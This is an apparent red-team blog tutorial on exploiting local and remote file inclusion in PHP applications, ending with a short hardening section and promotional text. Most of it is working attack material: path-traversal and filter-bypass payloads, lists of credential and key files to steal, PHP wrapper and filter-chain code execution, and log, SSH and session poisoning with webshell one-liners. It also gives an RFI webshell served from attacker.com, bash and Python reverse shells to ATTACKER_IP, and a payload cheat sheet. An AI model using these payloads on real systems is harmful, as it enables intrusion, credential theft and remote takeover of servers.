File inclusion vulnerabilities are deceptively simple on the surface — you trick an application into loading a file it shouldn’t. But the exploitation paths they open up range from sensitive data disclosure all the way to full remote code execution. Log poisoning, PHP filter chains, session file injection, null byte tricks — this vulnerability class has more depth than most.
If you’re doing web app pentesting or bug bounty hunting in 2026, you’ll encounter file inclusion regularly. PHP applications are the most common target, but the patterns appear in other languages too. This guide covers LFI and RFI from first principles through advanced exploitation.
What Is File Inclusion?
File inclusion occurs when a web application dynamically loads a file based on user-controlled input, without properly validating what file gets loaded.
The fundamental pattern:
// Vulnerable PHP code
$page = $_GET['page'];
include($page);
A legitimate request:
GET /index.php?page=about.php
An attacker’s request:
GET /index.php?page=/etc/passwd
The server reads /etc/passwd and includes its contents in the response. That’s Local File Inclusion (LFI) in its most basic form.
There are two variants:
| Type | What It Does | Code Execution? |
|---|---|---|
| LFI (Local File Inclusion) | Reads files already on the server | Possible via log poisoning, PHP filters |
| RFI (Remote File Inclusion) | Loads and executes a file from a remote URL | Direct — fetch your shell and run it |
RFI is more dangerous but less common — modern PHP configurations disable allow_url_include by default. LFI is far more prevalent and still leads to RCE in the right conditions.
Why File Inclusion Still Exists in 2026
Legacy PHP code is everywhere. Content management systems, admin panels, e-commerce platforms, and internal tools built before modern frameworks became standard all used dynamic file loading as a convenience feature.
Theme/template switching:
include('themes/' . $_GET['theme'] . '/header.php');
Language selection:
include('lang/' . $_COOKIE['language'] . '.php');
Modular page loading:
include('modules/' . $_POST['module'] . '.php');
These patterns felt natural when written. They’re also a direct injection point for anyone who looks.
Beyond PHP, file inclusion patterns appear in:
- Python applications using
open()with user-controlled paths - Node.js with
fs.readFile()on dynamic paths - Java applications loading resource files
- Any language where file paths are constructed from user input
Detecting File Inclusion Vulnerabilities
Manual Testing
Look for parameters that look like they load files or modules:
?page=home
?file=report.pdf
?template=default
?module=contact
?lang=en
?include=header
?path=../config
Test with a known file:
# Linux targets
?page=/etc/passwd
?page=../../../../etc/passwd
?page=/etc/hosts
?page=/proc/self/environ
# Windows targets
?page=C:\Windows\win.ini
?page=C:/Windows/System32/drivers/etc/hosts
?page=../../../../Windows/win.ini
A successful LFI returns file contents in the response — either displayed directly or embedded in the page HTML.
Fuzzing with Wordlists
Use a dedicated LFI wordlist:
# With ffuf
ffuf -u "https://target.com/index.php?page=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 1234 # filter by response size to hide baseline
# With wfuzz
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
--hh 1234 \
"https://target.com/index.php?page=FUZZ"
SecLists has excellent LFI wordlists under Fuzzing/LFI/. The Jhaddix list covers hundreds of path traversal variations and common sensitive files.
Automated Scanning
# Nuclei has LFI templates
nuclei -u https://target.com -t /path/to/nuclei-templates/vulnerabilities/generic/lfi-linux.yaml
# SQLmap doesn't cover LFI, but Burp Scanner detects it well
# In Burp: right-click request → Scan → Active scan
Path Traversal — The Core Technique
Most file inclusion defenses are input filters. Attackers bypass them with path traversal sequences.
Basic Traversal
Navigate up the directory tree to reach arbitrary files:
../../../../etc/passwd
../../../etc/shadow
../../../../../../etc/hosts
How many ../ do you need? It depends on the web root depth. Start with 4–6 and work down. PHP will stop at the filesystem root even if you overshoot:
../../../../../../../../../../../../etc/passwd
This works even if there aren’t 12 directory levels to traverse — extra ../ from root are silently ignored.
Filter Bypass Techniques
Developers add filters. Here’s how to bypass them.
Filter: removes ../
# Double encoding
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
# URL encoding
..%252F..%252F..%252Fetc%252Fpasswd
# Mixed encoding
..%2f..%2f..%2fetc/passwd
# Nested traversal (filter removes ../ once, leaving ../)
....//....//....//etc/passwd
..././..././..././etc/passwd
Filter: prepends a fixed path
include('/var/www/html/' . $_GET['page']);
Path traversal still works:
../../etc/passwd
# Resolves to: /var/www/html/../../etc/passwd → /var/etc/passwd (wrong)
# Correct depth:
../../../etc/passwd
# Resolves to: /var/www/html/../../../etc/passwd → /etc/passwd
Filter: checks if path starts with a specific string
/var/www/html/../../../../etc/passwd
The check passes (starts with the expected prefix), traversal still works.
Filter: blocks null bytes (older PHP versions)
Older PHP (< 5.3.4) truncated strings at null bytes:
/etc/passwd%00
../../../../etc/passwd%00.php
The .php extension check passes, but null byte truncates it to /etc/passwd. This is patched in modern PHP but still useful on legacy systems.
Filter: requires .php extension
include($_GET['page'] . '.php');
Modern PHP bypass — use PHP wrappers instead (covered below).
LFI — Sensitive Files to Target
Once you confirm LFI, read high-value files.
Linux Targets
# User and credential data
/etc/passwd # User accounts
/etc/shadow # Password hashes (usually requires root)
/etc/group # Group memberships
/home/user/.ssh/id_rsa # SSH private keys
/root/.ssh/id_rsa # Root SSH key
/home/user/.bash_history # Command history
/root/.bash_history
# Application configs
/var/www/html/config.php # Web app database creds
/var/www/html/.env # Laravel/Node.js env vars
/var/www/html/wp-config.php # WordPress credentials
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
# System info
/proc/self/environ # Environment variables (including HTTP headers)
/proc/self/cmdline # Current process command line
/proc/self/status # Process status
/proc/version # Kernel version
/proc/net/tcp # TCP connections (can reveal internal services)
# Logs (useful for log poisoning)
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/syslog
# Session files
/var/lib/php/sessions/
/tmp/sess_<sessionid>
Windows Targets
# System files
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\services
C:\Windows\repair\sam # SAM database (usually locked)
# Application configs
C:\xampp\htdocs\config.php
C:\inetpub\wwwroot\web.config
C:\Apache24\conf\httpd.conf
# IIS logs
C:\inetpub\logs\LogFiles\W3SVC1\
# Windows credential stores
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
PHP Wrappers — LFI on Steroids
PHP wrappers transform what LFI can do. They’re enabled by default and bypass many extension restrictions.
php://filter — Read Source Code
The most useful wrapper. Reads PHP source files without executing them:
?page=php://filter/convert.base64-encode/resource=config.php
The server returns base64-encoded source code. Decode it:
echo "PD9waHAK..." | base64 -d
Now you have the raw PHP source — credentials, API keys, internal logic.
Common filter variations:
# Base64 encode (most reliable)
php://filter/convert.base64-encode/resource=index.php
# No encoding (may break if PHP processes the included file)
php://filter/resource=config.php
# Multiple filters chained
php://filter/read=string.rot13/convert.base64-encode/resource=config.php
# Read arbitrary files (not just PHP)
php://filter/convert.base64-encode/resource=/etc/passwd
php://input — RCE via POST
If allow_url_include is on (rare in 2026 but exists on legacy systems):
curl -X POST "https://target.com/index.php?page=php://input" \
-d '<?php system($_GET["cmd"]); ?>'
Then:
GET /index.php?page=php://input&cmd=id
data:// Wrapper
Another approach when allow_url_include is on:
?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
expect:// Wrapper
Direct command execution if the expect extension is loaded (uncommon):
?page=expect://id
?page=expect://whoami
LFI to RCE — Log Poisoning
No allow_url_include? No problem. Log poisoning turns LFI into RCE by writing PHP code to a log file, then including it.
Apache/Nginx Access Log Poisoning
Step 1: Inject PHP code into the User-Agent header:
curl -s "https://target.com/" \
-H 'User-Agent: <?php system($_GET["cmd"]); ?>'
The web server writes this to its access log. The PHP code is now sitting in /var/log/apache2/access.log.
Step 2: Include the log file via LFI:
GET /index.php?page=/var/log/apache2/access.log&cmd=id
The PHP interpreter executes the code from the log. You have RCE.
Common log locations:
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/proc/self/fd/1 # stdout (Apache)
/proc/self/fd/2 # stderr
Tips:
- Log files can get large. The PHP code gets appended with every request — keep it short.
- If the log is unreadable due to permissions, try
/proc/self/fd/file descriptors. - SSH auth log also works if you can control the username:
ssh '<?php system($_GET["cmd"]); ?>'@target.com
SSH Auth Log Poisoning
# Inject PHP into the auth log via SSH username
ssh '<?php system($_GET["cmd"]); ?>'@target.com
# Then include the auth log
GET /index.php?page=/var/log/auth.log&cmd=id
The failed authentication attempt logs the PHP code in the username field.
PHP Session File Poisoning
Step 1: Find or set a session. The session ID is in your PHPSESSID cookie.
Step 2: Find a parameter that gets stored in the session:
GET /index.php?lang=<?php system($_GET["cmd"]); ?>
If lang is saved to the session, the PHP code is now in /var/lib/php/sessions/sess_<your_session_id>.
Step 3: Include the session file:
GET /index.php?page=/var/lib/php/sessions/sess_abc123&cmd=id
Session files are readable by the web process. Clean and reliable when it works.
PHP Filter Chains — LFI to RCE Without a File
This technique doesn’t require any writable file. It generates PHP code purely through chained PHP filter transformations.
The concept: chain multiple PHP filters in sequence to produce arbitrary PHP code from an empty string.
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|/resource=php://temp
The chain is complex and requires tooling to generate correctly. Use php_filter_chain_generator:
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator
# Generate a chain that executes system('id')
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
Copy the output and use it as your page parameter:
GET /index.php?page=php://filter/convert.iconv.UTF8...[long chain]...&cmd=id
This works on modern PHP with no allow_url_include, no writable files, and no logs — just LFI and PHP filters. It’s a significant technique for otherwise-stuck LFI situations.
Remote File Inclusion (RFI)
When allow_url_include = On is configured (legacy PHP, some misconfigured setups), you can include files from remote URLs.
Setup
Attacker machine — serve a PHP shell:
# Create a simple webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
# Serve it
cd /tmp && python3 -m http.server 8000
# or: php -S 0.0.0.0:8000
Exploit:
GET /index.php?page=http://attacker.com:8000/shell.php&cmd=id
The server fetches your PHP file, executes it, and returns the output.
RFI Bypass Techniques
Filter: blocks http://
# Use HTTPS
?page=https://attacker.com/shell.php
# FTP (if allow_url_fopen is on)
?page=ftp://attacker.com/shell.php
# Double URL encode
?page=http%3A%2F%2Fattacker.com%2Fshell.php
# Null byte (older PHP)
?page=http://attacker.com/shell.php%00
Check if RFI is enabled:
# Set up a listener, then try to include your IP
# If you get a hit, RFI is enabled
?page=http://your-ip/test.php
Escalating LFI to a Reverse Shell
Once you have code execution via any LFI technique, pivot to a full reverse shell.
Listener on attacker machine:
nc -lvnp 4444
# or: rlwrap nc -lvnp 4444
Reverse shell payload (URL-encoded for the cmd parameter):
# Bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
# URL-encoded version
bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Curl it:
curl -s "https://target.com/index.php?page=/var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.100/4444+0>%261'"
Real-World Exploitation Scenarios
Scenario 1: WordPress Theme File Inclusion
Legacy WordPress installations sometimes have vulnerable theme or plugin code:
# Test parameter
GET /wp-content/themes/custom/page.php?template=contact
# LFI attempt
GET /wp-content/themes/custom/page.php?template=../../../wp-config.php
wp-config.php contains the database credentials. From there: database access → admin password hash → crack or reset → WordPress admin → PHP execution via theme editor.
Scenario 2: Language Selection Feature
<?php
$lang = $_GET['lang'] ?? 'en';
include('languages/' . $lang . '.php');
?>
Path traversal bypasses the languages/ prefix:
?lang=../../../../../../etc/passwd
Use php://filter to read source code:
?lang=../../config%00 # null byte if PHP < 5.3.4
?lang=php://filter/convert.base64-encode/resource=../../config
Scenario 3: Log Poisoning to Webshell
- Confirm LFI with
/etc/passwd - Check log readability:
?page=/var/log/nginx/access.log - Inject payload:
curl -H 'User-Agent: <?php @eval($_POST["x"]); ?>' https://target.com/ - Include log and POST commands:
page=/var/log/nginx/access.logwith POST bodyx=system('whoami'); - Upgrade to full reverse shell
Detecting LFI with Burp Suite
Set up a Burp Suite scanner for file inclusion testing.
Manual testing approach:
- Intercept all requests in Burp Proxy
- Send to Intruder
- Mark the parameter value as a payload position
- Load a LFI wordlist (
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt) - Filter by response length — anomalies indicate inclusion
Burp Active Scanner:
Burp’s scanner includes file path traversal detection. Run it against any parameter that looks like a file path.
Manual grep for success indicators:
# Linux — look for passwd format
root:x:0:0:
# Windows — look for INI format
; for 16-bit app support
[fonts]
Want to level up your web app testing workflow? A dedicated VPS keeps your tools and listeners running 24/7 without burning your local bandwidth. Vultr and DigitalOcean both work well — a $6/month instance is enough for most engagements.
Defensive Countermeasures
Understanding defense sharpens your offense. Here’s what secure implementations look like.
Allowlist, don’t blocklist:
// Vulnerable — blocklist
$page = str_replace('../', '', $_GET['page']);
// Secure — allowlist
$allowed = ['home', 'about', 'contact', 'services'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) {
$page = 'home';
}
include('pages/' . $page . '.php');
Use realpath() and check the prefix:
$base = realpath('/var/www/html/pages/');
$requested = realpath($base . '/' . $_GET['page']);
if ($requested === false || strpos($requested, $base) !== 0) {
die('Invalid file');
}
include($requested);
PHP configuration (php.ini):
allow_url_include = Off ; Default Off — RFI prevention
allow_url_fopen = Off ; Disable if not needed
open_basedir = /var/www/html ; Restrict file access to web root
Disable dangerous PHP functions:
disable_functions = system, exec, passthru, shell_exec, popen, proc_open
File Inclusion in Bug Bounty Programs
LFI findings range from P4 (low) to P1 (critical) depending on what you can demonstrate.
P4/P3: Path disclosure, non-sensitive file read P2: Sensitive file read (credentials, source code, private keys) P1: RCE via log poisoning, PHP wrappers, or filter chains
How to write a strong LFI report:
- Show the vulnerable parameter and exact request
- Demonstrate what sensitive data you accessed (redact after PoC)
- If you escalated to RCE: show the full chain
- Include business impact — credentials → database access → customer data?
Don’t stop at /etc/passwd. That’s a P4. Follow the chain: /etc/passwd → discover usernames → /home/user/.ssh/id_rsa → SSH access → that’s a P1.
Quick Reference: LFI Payload Cheatsheet
# Basic traversal
../../../../etc/passwd
../../../../etc/shadow
../../../../etc/hosts
# Bypass filters
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
# PHP wrappers
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=/etc/passwd
php://input (POST: <?php system($_GET["cmd"]); ?>)
data://text/plain,<?php system('id'); ?>
# Log files
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/proc/self/environ
# Session files
/var/lib/php/sessions/sess_SESSIONID
/tmp/sess_SESSIONID
# Windows paths
C:\Windows\win.ini
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\inetpub\wwwroot\web.config
What’s Next in the Web App Pentesting Series
This guide is part of the RedTeamGuide.com web application security series:
- Web Application Pentesting Guide 2026 — Full methodology overview
- SQL Injection Attack Guide 2026 — Detection, exploitation, WAF bypass
- XSS Attack Guide 2026 — Stored, reflected, DOM-based
- CSRF Attack Guide 2026 — Token bypass, SameSite abuse
- SSRF Attack Guide 2026 — Cloud metadata, blind SSRF
- XXE Attack Guide 2026 — Entity injection, blind exfiltration
- IDOR Attack Guide 2026 — Object reference manipulation
- Command Injection Attack Guide 2026 — OS command execution, WAF bypass
Need Your Red Team Report Written?
Exploited file inclusion and need a deliverable that actually lands with the client? CipherWrite handles red team reports, pentest write-ups, and technical documentation — structured for both technical readers and executives. Turnaround in 3–5 business days.
